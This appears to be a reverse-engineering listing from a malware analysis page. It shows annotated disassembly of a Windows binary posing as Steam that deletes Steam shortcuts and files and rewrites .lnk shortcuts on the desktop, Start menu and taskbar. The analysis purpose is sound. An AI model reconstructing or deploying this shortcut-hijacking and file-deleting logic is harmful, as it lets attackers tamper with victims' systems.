140007d814c 8d 85 00 0d 00 00LEA R8,[RBP + 0xd00]
140007d8848 8d 95 d0 06 00 00LEA RDX,[RBP + 0x6d0]
140007d8f48 8d 8d 10 0f 00 00LEA RCX,[RBP + 0xf10]
140007d96e8 e5 f8 ff ffCALL FUN_140007680; FUN_140007680: GetFileAttributesW, SetFileAttributesW, DeleteFileW
140007d9b44 8b f8MOV R15D,EAX
LAB_140007d9e:
140007d9e4c 8d 85 00 0d 00 00LEA R8,[RBP + 0xd00]
140007da5ba 04 01 00 00MOV EDX,0x104
140007daa48 8d 8d 20 11 00 00LEA RCX,[RBP + 0x1120]
140007db1e8 12 94 00 00CALL wcscpy_s
140007db60f b7 95 20 11 00 00MOVZX EDX,word ptr [RBP + local_238]
140007dbd48 8d 8d 20 11 00 00LEA RCX,[RBP + 0x1120]
140007dc466 85 d2TEST DX,DX
140007dc774 1fJZ LAB_140007de8
140007dc90f 1f 80 00 00 00 00NOP dword ptr [RAX]
LAB_140007dd0:
140007dd066 83 fa 5cCMP DX,0x5c
140007dd475 05JNZ LAB_140007ddb
140007dd666 c7 01 2f 00MOV word ptr [RCX],0x2f
LAB_140007ddb:
140007ddb0f b7 51 02MOVZX EDX,word ptr [RCX + local_236]
140007ddf48 83 c1 02ADD RCX,0x2
140007de366 85 d2TEST DX,DX
140007de675 e8JNZ LAB_140007dd0
LAB_140007de8:
140007de848 8d 85 c0 04 00 00LEA RAX,[RBP + 0x4c0]
140007def45 33 c9XOR R9D,R9D
140007df245 33 c0XOR R8D,R8D
140007df548 89 44 24 20MOV qword ptr [RSP + local_1438],RAX
140007dfaba 02 00 00 00MOV EDX,0x2
140007dff33 c9XOR ECX,ECX
140007e01ff 15 c9 75 01 00CALL qword ptr [PTR_SHGetFolderPathW_14001f3d0]
140007e0785 c0TEST EAX,EAX
140007e090f 88 d2 00 00 00JS LAB_140007ee1
140007e0f48 8d 85 f0 0a 00 00LEA RAX,[RBP + 0xaf0]
140007e1645 33 c9XOR R9D,R9D
140007e1945 33 c0XOR R8D,R8D
140007e1c48 89 44 24 20MOV qword ptr [RSP + local_1438],RAX
140007e21ba 17 00 00 00MOV EDX,0x17
140007e2633 c9XOR ECX,ECX
140007e28ff 15 a2 75 01 00CALL qword ptr [PTR_SHGetFolderPathW_14001f3d0]
140007e2e85 c0TEST EAX,EAX
140007e300f 88 ab 00 00 00JS LAB_140007ee1
140007e364c 8d 05 4b 23 02 00LEA R8,[u_\Steam\Steam.lnk_14002a188]; "\\Steam\\Steam.lnk"
140007e3dba 04 01 00 00MOV EDX,0x104
140007e4248 8d 8d c0 04 00 00LEA RCX,[RBP + 0x4c0]
140007e49e8 e2 93 00 00CALL FUN_140011230; FUN_140011230: GetLastError, SetLastError
140007e4e4c 8d 05 33 23 02 00LEA R8,[u_\Steam\Steam.lnk_14002a188]; "\\Steam\\Steam.lnk"
140007e55ba 04 01 00 00MOV EDX,0x104
140007e5a48 8d 8d f0 0a 00 00LEA RCX,[RBP + 0xaf0]
140007e61e8 ca 93 00 00CALL FUN_140011230; FUN_140011230: GetLastError, SetLastError
140007e6666 44 39 b5 c0 04 00 00CMP word ptr [RBP + local_e98],R14W
140007e6e74 71JZ LAB_140007ee1
140007e7048 8d 8d c0 04 00 00LEA RCX,[RBP + 0x4c0]
140007e77ff 15 9b 73 01 00CALL qword ptr [PTR_GetFileAttributesW_14001f218]
140007e7d83 f8 ffCMP EAX,-0x1
140007e8074 5fJZ LAB_140007ee1
140007e8266 44 39 b5 f0 0a 00 00CMP word ptr [RBP + local_868],R14W
140007e8a74 55JZ LAB_140007ee1
140007e8c48 8d 8d f0 0a 00 00LEA RCX,[RBP + 0xaf0]
140007e93ff 15 7f 73 01 00CALL qword ptr [PTR_GetFileAttributesW_14001f218]
140007e9983 f8 ffCMP EAX,-0x1
140007e9c74 43JZ LAB_140007ee1
140007e9e48 8d 8d c0 04 00 00LEA RCX,[RBP + 0x4c0]
140007ea5ff 15 ad 73 01 00CALL qword ptr [PTR_DeleteFileW_14001f258]
140007eab85 c0TEST EAX,EAX
140007ead74 32JZ LAB_140007ee1
140007eaf4c 8d 85 c0 04 00 00LEA R8,[RBP + 0x4c0]
140007eb6ba 04 01 00 00MOV EDX,0x104
140007ebb48 8d 8d e0 08 00 00LEA RCX,[RBP + 0x8e0]
140007ec2e8 01 93 00 00CALL wcscpy_s
140007ec748 8d 8d e0 08 00 00LEA RCX,[RBP + 0x8e0]
140007eceff 15 34 75 01 00CALL qword ptr [PTR_PathRemoveFileSpecW_14001f408]
140007ed448 8d 8d e0 08 00 00LEA RCX,[RBP + 0x8e0]
140007edbff 15 07 73 01 00CALL qword ptr [PTR_RemoveDirectoryW_14001f1e8]
LAB_140007ee1:
140007ee148 8d 85 c0 04 00 00LEA RAX,[RBP + 0x4c0]
140007ee845 33 c9XOR R9D,R9D
140007eeb45 33 c0XOR R8D,R8D
140007eee48 89 44 24 20MOV qword ptr [RSP + local_1438],RAX
140007ef3ba 10 00 00 00MOV EDX,0x10
140007ef833 c9XOR ECX,ECX
140007efaff 15 d0 74 01 00CALL qword ptr [PTR_SHGetFolderPathW_14001f3d0]
140007f0085 c0TEST EAX,EAX
140007f020f 88 98 00 00 00JS LAB_140007fa0
140007f0848 8d 85 f0 0a 00 00LEA RAX,[RBP + 0xaf0]
140007f0f45 33 c9XOR R9D,R9D
140007f1245 33 c0XOR R8D,R8D
140007f1548 89 44 24 20MOV qword ptr [RSP + local_1438],RAX
140007f1aba 19 00 00 00MOV EDX,0x19
140007f1f33 c9XOR ECX,ECX
140007f21ff 15 a9 74 01 00CALL qword ptr [PTR_SHGetFolderPathW_14001f3d0]
140007f2785 c0TEST EAX,EAX
140007f2978 75JS LAB_140007fa0
140007f2b4c 8d 05 7e 22 02 00LEA R8,[u_\Steam.lnk_14002a1b0]; "\\Steam.lnk"
140007f32ba 04 01 00 00MOV EDX,0x104
140007f3748 8d 8d c0 04 00 00LEA RCX,[RBP + 0x4c0]
140007f3ee8 ed 92 00 00CALL FUN_140011230; FUN_140011230: GetLastError, SetLastError
140007f434c 8d 05 66 22 02 00LEA R8,[u_\Steam.lnk_14002a1b0]; "\\Steam.lnk"
140007f4aba 04 01 00 00MOV EDX,0x104
140007f4f48 8d 8d f0 0a 00 00LEA RCX,[RBP + 0xaf0]
140007f56e8 d5 92 00 00CALL FUN_140011230; FUN_140011230: GetLastError, SetLastError
140007f5b66 44 39 b5 c0 04 00 00CMP word ptr [RBP + local_e98],R14W
140007f6374 3bJZ LAB_140007fa0
140007f6548 8d 8d c0 04 00 00LEA RCX,[RBP + 0x4c0]
140007f6cff 15 a6 72 01 00CALL qword ptr [PTR_GetFileAttributesW_14001f218]
140007f7283 f8 ffCMP EAX,-0x1
140007f7574 29JZ LAB_140007fa0
140007f7766 44 39 b5 f0 0a 00 00CMP word ptr [RBP + local_868],R14W
140007f7f74 1fJZ LAB_140007fa0
140007f8148 8d 8d f0 0a 00 00LEA RCX,[RBP + 0xaf0]
140007f88ff 15 8a 72 01 00CALL qword ptr [PTR_GetFileAttributesW_14001f218]
140007f8e83 f8 ffCMP EAX,-0x1
140007f9174 0dJZ LAB_140007fa0
140007f9348 8d 8d c0 04 00 00LEA RCX,[RBP + 0x4c0]
140007f9aff 15 b8 72 01 00CALL qword ptr [PTR_DeleteFileW_14001f258]
LAB_140007fa0:
140007fa048 8d 85 e0 08 00 00LEA RAX,[RBP + 0x8e0]
140007fa745 33 c9XOR R9D,R9D
140007faa45 33 c0XOR R8D,R8D
140007fad48 89 44 24 20MOV qword ptr [RSP + local_1438],RAX
140007fb2ba 1c 00 00 00MOV EDX,0x1c
140007fb733 c9XOR ECX,ECX
140007fb9ff 15 11 74 01 00CALL qword ptr [PTR_SHGetFolderPathW_14001f3d0]
140007fbf85 c0TEST EAX,EAX
140007fc178 58JS LAB_14000801b
140007fc34c 8d 8d e0 08 00 00LEA R9,[RBP + 0x8e0]
140007fcaba 04 01 00 00MOV EDX,0x104
140007fcf4c 8d 05 f2 21 02 00LEA R8,[u_%s\SteamUI\steam.exe_14002a1c8]; "%s\\SteamUI\\steam.exe"
140007fd648 8d 8d f0 0a 00 00LEA RCX,[RBP + 0xaf0]
140007fdde8 7e bf ff ffCALL FUN_140003f60; FUN_140003f60: GetLastError, SetLastError
140007fe248 8d 8d f0 0a 00 00LEA RCX,[RBP + 0xaf0]
140007fe9ff 15 69 72 01 00CALL qword ptr [PTR_DeleteFileW_14001f258]
140007fef4c 8d 8d e0 08 00 00LEA R9,[RBP + 0x8e0]
140007ff6ba 04 01 00 00MOV EDX,0x104
140007ffb4c 8d 05 f6 21 02 00LEA R8,[u_%s\SteamUI_14002a1f8]; "%s\\SteamUI"
14000800248 8d 8d f0 0a 00 00LEA RCX,[RBP + 0xaf0]
140008009e8 52 bf ff ffCALL FUN_140003f60; FUN_140003f60: GetLastError, SetLastError
14000800e48 8d 8d f0 0a 00 00LEA RCX,[RBP + 0xaf0]
140008015ff 15 cd 71 01 00CALL qword ptr [PTR_RemoveDirectoryW_14001f1e8]
LAB_14000801b:
14000801b4c 8d 85 20 11 00 00LEA R8,[RBP + 0x1120]
14000802248 8d 95 00 0d 00 00LEA RDX,[RBP + 0xd00]
14000802948 8d 8d d0 06 00 00LEA RCX,[RBP + 0x6d0]
140008030e8 3b ed ff ffCALL FUN_140006d70; FUN_140006d70: GetCurrentProcessId, GetTickCount, Sleep, RegCreateKeyExW +2
14000803566 0f 6f 05 c3 24 02 00MOVDQA XMM0,xmmword ptr [DAT_14002a500]
14000803d49 8b feMOV RDI,R14
140008040f3 0f 7f 44 24 40MOVDQU xmmword ptr [RSP + local_1418[0]],XMM0
140008046c7 44 24 50 07 00 00 00MOV dword ptr [RSP + local_1408],0x7
14000804ec7 44 24 54 18 00 00 00MOV dword ptr [RSP + local_1404],0x18
14000805666 66 0f 1f 84 00 00 00 …NOP dword ptr [RAX + RAX*0x1]
LAB_140008060:
1400080608b 54 bc 40MOV EDX,dword ptr [RSP + RDI*0x4 + local_1418[4]]
14000806448 8d 85 f0 0a 00 00LEA RAX,[RBP + 0xaf0]
14000806b45 33 c9XOR R9D,R9D
14000806e48 89 44 24 20MOV qword ptr [RSP + local_1438],RAX
14000807345 33 c0XOR R8D,R8D
14000807633 c9XOR ECX,ECX
140008078ff 15 52 73 01 00CALL qword ptr [PTR_SHGetFolderPathW_14001f3d0]
14000807e85 c0TEST EAX,EAX
1400080800f 88 21 01 00 00JS LAB_1400081a7
14000808666 44 39 b5 f0 0a 00 00CMP word ptr [RBP + local_868],R14W
14000808e0f 84 13 01 00 00JZ LAB_1400081a7
1400080944c 8d 8d f0 0a 00 00LEA R9,[RBP + 0xaf0]
14000809bba 04 01 00 00MOV EDX,0x104
1400080a04c 8d 05 31 1f 02 00LEA R8,[u_%s\*_140029fd8]; "%s\\*"
1400080a748 8d 8d c0 04 00 00LEA RCX,[RBP + 0x4c0]
1400080aee8 ad be ff ffCALL FUN_140003f60; FUN_140003f60: GetLastError, SetLastError
1400080b348 8d 95 b0 01 00 00LEA RDX,[RBP + 0x1b0]
1400080ba48 8d 8d c0 04 00 00LEA RCX,[RBP + 0x4c0]
1400080c1ff 15 f9 70 01 00CALL qword ptr [PTR_FindFirstFileW_14001f1c0]
1400080c748 8b d8MOV RBX,RAX
1400080ca48 83 f8 ffCMP RAX,-0x1
1400080ce0f 84 d3 00 00 00JZ LAB_1400081a7
1400080d40f 1f 40 00NOP dword ptr [RAX]
1400080d80f 1f 84 00 00 00 00 00NOP dword ptr [RAX + RAX*0x1]
LAB_1400080e0:
1400080e066 83 bd dc 01 00 00 2eCMP word ptr [RBP + local_117c],0x2e
1400080e80f 84 98 00 00 00JZ LAB_140008186
1400080ee48 8d 85 dc 01 00 00LEA RAX,[RBP + 0x1dc]
1400080f5ba 04 01 00 00MOV EDX,0x104
1400080fa4c 8d 8d f0 0a 00 00LEA R9,[RBP + 0xaf0]
14000810148 89 44 24 20MOV qword ptr [RSP + local_1438],RAX
1400081064c 8d 05 db 1e 02 00LEA R8,[u_%s\%s_140029fe8]; "%s\\%s"
14000810d48 8d 8d e0 08 00 00LEA RCX,[RBP + 0x8e0]
140008114e8 47 be ff ffCALL FUN_140003f60; FUN_140003f60: GetLastError, SetLastError
140008119f6 85 b0 01 00 00 10TEST byte ptr [RBP + local_11a8],0x10
14000812074 2bJZ LAB_14000814d
1400081224c 8d 8d d0 06 00 00LEA R9,[RBP + 0x6d0]
140008129c7 44 24 20 01 00 00 00MOV dword ptr [RSP + local_1438],0x1
1400081314c 8d 85 00 0d 00 00LEA R8,[RBP + 0xd00]
14000813848 8d 95 d0 06 00 00LEA RDX,[RBP + 0x6d0]
14000813f48 8d 8d e0 08 00 00LEA RCX,[RBP + 0x8e0]
140008146e8 d5 f3 ff ffCALL FUN_140007520; FUN_140007520: FindFirstFileW, FindNextFileW, FindClose, PathMatchSpecW
14000814beb 39JMP LAB_140008186
LAB_14000814d:
14000814d48 8d 15 a4 1e 02 00LEA RDX,[u_*.lnk_140029ff8]; "*.lnk"
14000815448 8d 8d dc 01 00 00LEA RCX,[RBP + 0x1dc]
14000815bff 15 8f 72 01 00CALL qword ptr [PTR_PathMatchSpecW_14001f3f0]
14000816185 c0TEST EAX,EAX
14000816374 21JZ LAB_140008186
1400081654c 8d 8d d0 06 00 00LEA R9,[RBP + 0x6d0]
14000816c4c 8d 85 00 0d 00 00LEA R8,[RBP + 0xd00]
14000817348 8d 95 d0 06 00 00LEA RDX,[RBP + 0x6d0]
14000817a48 8d 8d e0 08 00 00LEA RCX,[RBP + 0x8e0]
140008181e8 ea f0 ff ffCALL FUN_140007270; FUN_140007270: CoCreateInstance, PathFindFileNameW
LAB_140008186:
14000818648 8d 95 b0 01 00 00LEA RDX,[RBP + 0x1b0]
14000818d48 8b cbMOV RCX,RBX
140008190ff 15 3a 70 01 00CALL qword ptr [PTR_FindNextFileW_14001f1d0]
14000819685 c0TEST EAX,EAX
1400081980f 85 42 ff ff ffJNZ LAB_1400080e0
14000819e48 8b cbMOV RCX,RBX
1400081a1ff 15 59 70 01 00CALL qword ptr [PTR_FindClose_14001f200]
LAB_1400081a7:
1400081a748 ff c7INC RDI
1400081aa48 83 ff 06CMP RDI,0x6
1400081ae0f 8c ac fe ff ffJL LAB_140008060
1400081b448 8d 85 f0 0a 00 00LEA RAX,[RBP + 0xaf0]
1400081bb45 33 c9XOR R9D,R9D
1400081be45 33 c0XOR R8D,R8D
1400081c148 89 44 24 20MOV qword ptr [RSP + local_1438],RAX
1400081c6ba 1a 00 00 00MOV EDX,0x1a
1400081cb33 c9XOR ECX,ECX
1400081cdff 15 fd 71 01 00CALL qword ptr [PTR_SHGetFolderPathW_14001f3d0]
1400081d385 c0TEST EAX,EAX
1400081d50f 88 bf 03 00 00JS LAB_14000859a
1400081db4c 8d 85 f0 0a 00 00LEA R8,[RBP + 0xaf0]
1400081e2ba 04 01 00 00MOV EDX,0x104
1400081e748 8d 8d c0 04 00 00LEA RCX,[RBP + 0x4c0]
1400081eee8 d5 8f 00 00CALL wcscpy_s
1400081f34c 8d 05 16 1e 02 00LEA R8,[u_\Microsoft\Internet_Explorer\Qui_14002a010]; "\\Microsoft\\Internet Explorer\\Quick Launch"
1400081faba 04 01 00 00MOV EDX,0x104
1400081ff48 8d 8d c0 04 00 00LEA RCX,[RBP + 0x4c0]
140008206e8 25 90 00 00CALL FUN_140011230; FUN_140011230: GetLastError, SetLastError
14000820b66 44 39 b5 c0 04 00 00CMP word ptr [RBP + local_e98],R14W
1400082130f 84 01 01 00 00JZ LAB_14000831a
1400082194c 8d 8d c0 04 00 00LEA R9,[RBP + 0x4c0]
140008220ba 04 01 00 00MOV EDX,0x104
1400082254c 8d 05 ac 1d 02 00LEA R8,[u_%s\*_140029fd8]; "%s\\*"
14000822c48 8d 8d b0 01 00 00LEA RCX,[RBP + 0x1b0]
140008233e8 28 bd ff ffCALL FUN_140003f60; FUN_140003f60: GetLastError, SetLastError
14000823848 8d 54 24 60LEA RDX,[RSP + 0x60]
14000823d48 8d 8d b0 01 00 00LEA RCX,[RBP + 0x1b0]
140008244ff 15 76 6f 01 00CALL qword ptr [PTR_FindFirstFileW_14001f1c0]
14000824a48 8b d8MOV RBX,RAX
14000824d48 83 f8 ffCMP RAX,-0x1
1400082510f 84 c3 00 00 00JZ LAB_14000831a
14000825766 0f 1f 84 00 00 00 00 …NOP word ptr [RAX + RAX*0x1]
LAB_140008260:
14000826066 83 7d 8c 2eCMP word ptr [RBP + local_13cc],0x2e
1400082650f 84 90 00 00 00JZ LAB_1400082fb
14000826b48 8d 45 8cLEA RAX,[RBP + -0x74]
14000826fba 04 01 00 00MOV EDX,0x104
1400082744c 8d 8d c0 04 00 00LEA R9,[RBP + 0x4c0]
14000827b48 89 44 24 20MOV qword ptr [RSP + local_1438],RAX
1400082804c 8d 05 61 1d 02 00LEA R8,[u_%s\%s_140029fe8]; "%s\\%s"
14000828748 8d 8d e0 08 00 00LEA RCX,[RBP + 0x8e0]
14000828ee8 cd bc ff ffCALL FUN_140003f60; FUN_140003f60: GetLastError, SetLastError
140008293f6 44 24 60 10TEST byte ptr [RSP + local_13f8],0x10
14000829874 2bJZ LAB_1400082c5
14000829a4c 8d 8d d0 06 00 00LEA R9,[RBP + 0x6d0]
1400082a1c7 44 24 20 01 00 00 00MOV dword ptr [RSP + local_1438],0x1
1400082a94c 8d 85 00 0d 00 00LEA R8,[RBP + 0xd00]
1400082b048 8d 95 d0 06 00 00LEA RDX,[RBP + 0x6d0]
1400082b748 8d 8d e0 08 00 00LEA RCX,[RBP + 0x8e0]
1400082bee8 5d f2 ff ffCALL FUN_140007520; FUN_140007520: FindFirstFileW, FindNextFileW, FindClose, PathMatchSpecW
1400082c3eb 36JMP LAB_1400082fb
LAB_1400082c5:
1400082c548 8d 15 2c 1d 02 00LEA RDX,[u_*.lnk_140029ff8]; "*.lnk"
1400082cc48 8d 4d 8cLEA RCX,[RBP + -0x74]
1400082d0ff 15 1a 71 01 00CALL qword ptr [PTR_PathMatchSpecW_14001f3f0]
1400082d685 c0TEST EAX,EAX
1400082d874 21JZ LAB_1400082fb
1400082da4c 8d 8d d0 06 00 00LEA R9,[RBP + 0x6d0]
1400082e14c 8d 85 00 0d 00 00LEA R8,[RBP + 0xd00]
1400082e848 8d 95 d0 06 00 00LEA RDX,[RBP + 0x6d0]
1400082ef48 8d 8d e0 08 00 00LEA RCX,[RBP + 0x8e0]
1400082f6e8 75 ef ff ffCALL FUN_140007270; FUN_140007270: CoCreateInstance, PathFindFileNameW
LAB_1400082fb:
1400082fb48 8d 54 24 60LEA RDX,[RSP + 0x60]
14000830048 8b cbMOV RCX,RBX
140008303ff 15 c7 6e 01 00CALL qword ptr [PTR_FindNextFileW_14001f1d0]
14000830985 c0TEST EAX,EAX
14000830b0f 85 4f ff ff ffJNZ LAB_140008260
14000831148 8b cbMOV RCX,RBX
140008314ff 15 e6 6e 01 00CALL qword ptr [PTR_FindClose_14001f200]
LAB_14000831a:
14000831a4c 8d 85 f0 0a 00 00LEA R8,[RBP + 0xaf0]
140008321ba 04 01 00 00MOV EDX,0x104
14000832648 8d 8d c0 04 00 00LEA RCX,[RBP + 0x4c0]
14000832de8 96 8e 00 00CALL wcscpy_s
1400083324c 8d 05 37 1d 02 00LEA R8,[u_\Microsoft\Internet_Explorer\Qui_14002a070]; "\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar"
140008339ba 04 01 00 00MOV EDX,0x104
14000833e48 8d 8d c0 04 00 00LEA RCX,[RBP + 0x4c0]
140008345e8 e6 8e 00 00CALL FUN_140011230; FUN_140011230: GetLastError, SetLastError
14000834a66 44 39 b5 c0 04 00 00CMP word ptr [RBP + local_e98],R14W
1400083520f 84 02 01 00 00JZ LAB_14000845a
1400083584c 8d 8d c0 04 00 00LEA R9,[RBP + 0x4c0]
14000835fba 04 01 00 00MOV EDX,0x104
1400083644c 8d 05 6d 1c 02 00LEA R8,[u_%s\*_140029fd8]; "%s\\*"
14000836b48 8d 8d b0 01 00 00LEA RCX,[RBP + 0x1b0]
140008372e8 e9 bb ff ffCALL FUN_140003f60; FUN_140003f60: GetLastError, SetLastError
14000837748 8d 54 24 60LEA RDX,[RSP + 0x60]
14000837c48 8d 8d b0 01 00 00LEA RCX,[RBP + 0x1b0]
140008383ff 15 37 6e 01 00CALL qword ptr [PTR_FindFirstFileW_14001f1c0]
14000838948 8b d8MOV RBX,RAX
14000838c48 83 f8 ffCMP RAX,-0x1
1400083900f 84 c4 00 00 00JZ LAB_14000845a
14000839666 66 0f 1f 84 00 00 00 …NOP dword ptr [RAX + RAX*0x1]
LAB_1400083a0:
1400083a066 83 7d 8c 2eCMP word ptr [RBP + local_13cc],0x2e
1400083a50f 84 90 00 00 00JZ LAB_14000843b
1400083ab48 8d 45 8cLEA RAX,[RBP + -0x74]
1400083afba 04 01 00 00MOV EDX,0x104
1400083b44c 8d 8d c0 04 00 00LEA R9,[RBP + 0x4c0]
1400083bb48 89 44 24 20MOV qword ptr [RSP + local_1438],RAX
1400083c04c 8d 05 21 1c 02 00LEA R8,[u_%s\%s_140029fe8]; "%s\\%s"
1400083c748 8d 8d e0 08 00 00LEA RCX,[RBP + 0x8e0]
1400083cee8 8d bb ff ffCALL FUN_140003f60; FUN_140003f60: GetLastError, SetLastError
1400083d3f6 44 24 60 10TEST byte ptr [RSP + local_13f8],0x10
1400083d874 2bJZ LAB_140008405
1400083da4c 8d 8d d0 06 00 00LEA R9,[RBP + 0x6d0]
1400083e1c7 44 24 20 01 00 00 00MOV dword ptr [RSP + local_1438],0x1
1400083e94c 8d 85 00 0d 00 00LEA R8,[RBP + 0xd00]
1400083f048 8d 95 d0 06 00 00LEA RDX,[RBP + 0x6d0]
1400083f748 8d 8d e0 08 00 00LEA RCX,[RBP + 0x8e0]
1400083fee8 1d f1 ff ffCALL FUN_140007520; FUN_140007520: FindFirstFileW, FindNextFileW, FindClose, PathMatchSpecW
140008403eb 36JMP LAB_14000843b
LAB_140008405:
14000840548 8d 15 ec 1b 02 00LEA RDX,[u_*.lnk_140029ff8]; "*.lnk"
14000840c48 8d 4d 8cLEA RCX,[RBP + -0x74]
140008410ff 15 da 6f 01 00CALL qword ptr [PTR_PathMatchSpecW_14001f3f0]
14000841685 c0TEST EAX,EAX
14000841874 21JZ LAB_14000843b
14000841a4c 8d 8d d0 06 00 00LEA R9,[RBP + 0x6d0]
1400084214c 8d 85 00 0d 00 00LEA R8,[RBP + 0xd00]
14000842848 8d 95 d0 06 00 00LEA RDX,[RBP + 0x6d0]
14000842f48 8d 8d e0 08 00 00LEA RCX,[RBP + 0x8e0]
140008436e8 35 ee ff ffCALL FUN_140007270; FUN_140007270: CoCreateInstance, PathFindFileNameW
LAB_14000843b:
14000843b48 8d 54 24 60LEA RDX,[RSP + 0x60]
14000844048 8b cbMOV RCX,RBX
140008443ff 15 87 6d 01 00CALL qword ptr [PTR_FindNextFileW_14001f1d0]
14000844985 c0TEST EAX,EAX
14000844b0f 85 4f ff ff ffJNZ LAB_1400083a0
14000845148 8b cbMOV RCX,RBX
140008454ff 15 a6 6d 01 00CALL qword ptr [PTR_FindClose_14001f200]
LAB_14000845a:
14000845a4c 8d 85 f0 0a 00 00LEA R8,[RBP + 0xaf0]
140008461ba 04 01 00 00MOV EDX,0x104
14000846648 8d 8d c0 04 00 00LEA RCX,[RBP + 0x4c0]
14000846de8 56 8d 00 00CALL wcscpy_s
1400084724c 8d 05 77 1c 02 00LEA R8,[u_\Microsoft\Internet_Explorer\Qui_14002a0f0]; "\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts"
140008479ba 04 01 00 00MOV EDX,0x104
14000847e48 8d 8d c0 04 00 00LEA RCX,[RBP + 0x4c0]
140008485e8 a6 8d 00 00CALL FUN_140011230; FUN_140011230: GetLastError, SetLastError
14000848a66 44 39 b5 c0 04 00 00CMP word ptr [RBP + local_e98],R14W
1400084920f 84 02 01 00 00JZ LAB_14000859a
1400084984c 8d 8d c0 04 00 00LEA R9,[RBP + 0x4c0]
14000849fba 04 01 00 00MOV EDX,0x104
1400084a44c 8d 05 2d 1b 02 00LEA R8,[u_%s\*_140029fd8]; "%s\\*"
1400084ab48 8d 8d b0 01 00 00LEA RCX,[RBP + 0x1b0]
1400084b2e8 a9 ba ff ffCALL FUN_140003f60; FUN_140003f60: GetLastError, SetLastError
1400084b748 8d 54 24 60LEA RDX,[RSP + 0x60]
1400084bc48 8d 8d b0 01 00 00LEA RCX,[RBP + 0x1b0]
1400084c3ff 15 f7 6c 01 00CALL qword ptr [PTR_FindFirstFileW_14001f1c0]
1400084c948 8b d8MOV RBX,RAX
1400084cc48 83 f8 ffCMP RAX,-0x1
1400084d00f 84 c4 00 00 00JZ LAB_14000859a
1400084d666 66 0f 1f 84 00 00 00 …NOP dword ptr [RAX + RAX*0x1]
LAB_1400084e0:
1400084e066 83 7d 8c 2eCMP word ptr [RBP + local_13cc],0x2e
1400084e50f 84 90 00 00 00JZ LAB_14000857b
1400084eb48 8d 45 8cLEA RAX,[RBP + -0x74]
1400084efba 04 01 00 00MOV EDX,0x104
1400084f44c 8d 8d c0 04 00 00LEA R9,[RBP + 0x4c0]
1400084fb48 89 44 24 20MOV qword ptr [RSP + local_1438],RAX
1400085004c 8d 05 e1 1a 02 00LEA R8,[u_%s\%s_140029fe8]; "%s\\%s"
14000850748 8d 8d e0 08 00 00LEA RCX,[RBP + 0x8e0]
14000850ee8 4d ba ff ffCALL FUN_140003f60; FUN_140003f60: GetLastError, SetLastError
140008513f6 44 24 60 10TEST byte ptr [RSP + local_13f8],0x10
14000851874 2bJZ LAB_140008545
14000851a4c 8d 8d d0 06 00 00LEA R9,[RBP + 0x6d0]
140008521c7 44 24 20 01 00 00 00MOV dword ptr [RSP + local_1438],0x1
1400085294c 8d 85 00 0d 00 00LEA R8,[RBP + 0xd00]
14000853048 8d 95 d0 06 00 00LEA RDX,[RBP + 0x6d0]
14000853748 8d 8d e0 08 00 00LEA RCX,[RBP + 0x8e0]
14000853ee8 dd ef ff ffCALL FUN_140007520; FUN_140007520: FindFirstFileW, FindNextFileW, FindClose, PathMatchSpecW
140008543eb 36JMP LAB_14000857b
LAB_140008545:
14000854548 8d 15 ac 1a 02 00LEA RDX,[u_*.lnk_140029ff8]; "*.lnk"
14000854c48 8d 4d 8cLEA RCX,[RBP + -0x74]
140008550ff 15 9a 6e 01 00CALL qword ptr [PTR_PathMatchSpecW_14001f3f0]
14000855685 c0TEST EAX,EAX
14000855874 21JZ LAB_14000857b
14000855a4c 8d 8d d0 06 00 00LEA R9,[RBP + 0x6d0]
1400085614c 8d 85 00 0d 00 00LEA R8,[RBP + 0xd00]
14000856848 8d 95 d0 06 00 00LEA RDX,[RBP + 0x6d0]
14000856f48 8d 8d e0 08 00 00LEA RCX,[RBP + 0x8e0]
140008576e8 f5 ec ff ffCALL FUN_140007270; FUN_140007270: CoCreateInstance, PathFindFileNameW
LAB_14000857b:
14000857b48 8d 54 24 60LEA RDX,[RSP + 0x60]
14000858048 8b cbMOV RCX,RBX
140008583ff 15 47 6c 01 00CALL qword ptr [PTR_FindNextFileW_14001f1d0]
14000858985 c0TEST EAX,EAX
14000858b0f 85 4f ff ff ffJNZ LAB_1400084e0
14000859148 8b cbMOV RCX,RBX
140008594ff 15 66 6c 01 00CALL qword ptr [PTR_FindClose_14001f200]
LAB_14000859a:
14000859a45 85 ffTEST R15D,R15D
14000859d75 66JNZ LAB_140008605
14000859f85 f6TEST ESI,ESI
1400085a175 5eJNZ LAB_140008601
1400085a345 33 c9XOR R9D,R9D
1400085a64c 8d 85 e0 08 00 00LEA R8,[RBP + 0x8e0]
1400085adba 04 01 00 00MOV EDX,0x104
1400085b248 8d 8d 10 0f 00 00LEA RCX,[RBP + 0xf10]
1400085b9ff 15 09 6c 01 00CALL qword ptr [PTR_GetFullPathNameW_14001f1c8]
1400085bf85 c0TEST EAX,EAX
1400085c174 3eJZ LAB_140008601
1400085c345 33 c9XOR R9D,R9D
1400085c64c 8d 85 b0 01 00 00LEA R8,[RBP + 0x1b0]
1400085cdba 04 01 00 00MOV EDX,0x104
1400085d248 8d 8d d0 06 00 00LEA RCX,[RBP + 0x6d0]
1400085d9ff 15 e9 6b 01 00CALL qword ptr [PTR_GetFullPathNameW_14001f1c8]
1400085df85 c0TEST EAX,EAX
1400085e174 1eJZ LAB_140008601
1400085e348 8d 95 b0 01 00 00LEA RDX,[RBP + 0x1b0]
1400085ea48 8d 8d e0 08 00 00LEA RCX,[RBP + 0x8e0]
1400085f1e8 56 8a 00 00CALL FID_conflict:_wcsicoll
1400085f685 c0TEST EAX,EAX
1400085f841 0f 94 c6SETZ R14B
1400085fc41 8b c6MOV EAX,R14D
1400085ffeb 09JMP LAB_14000860a
LAB_140008601:
14000860133 c0XOR EAX,EAX
140008603eb 05JMP LAB_14000860a
LAB_140008605:
140008605b8 01 00 00 00MOV EAX,0x1
LAB_14000860a:
14000860a48 8b b4 24 68 14 00 00MOV RSI,qword ptr [RSP + local_res10]
14000861248 8b 9c 24 60 14 00 00MOV RBX,qword ptr [RSP + local_res8]
14000861a48 8b 8d 30 13 00 00MOV RCX,qword ptr [RBP + local_28]
14000862148 33 ccXOR RCX,RSP
140008624e8 07 03 00 00CALL __security_check_cookie

winMain

0x140008650690 bytes
undefined FUN_140008650(HINSTANCE param_1)

WinMain: creates a lure GUI window with Steam icon and enters the message pump

Cited as
E8
Behaviours
B7
Called from
__scrt_common_main_seh
Calls
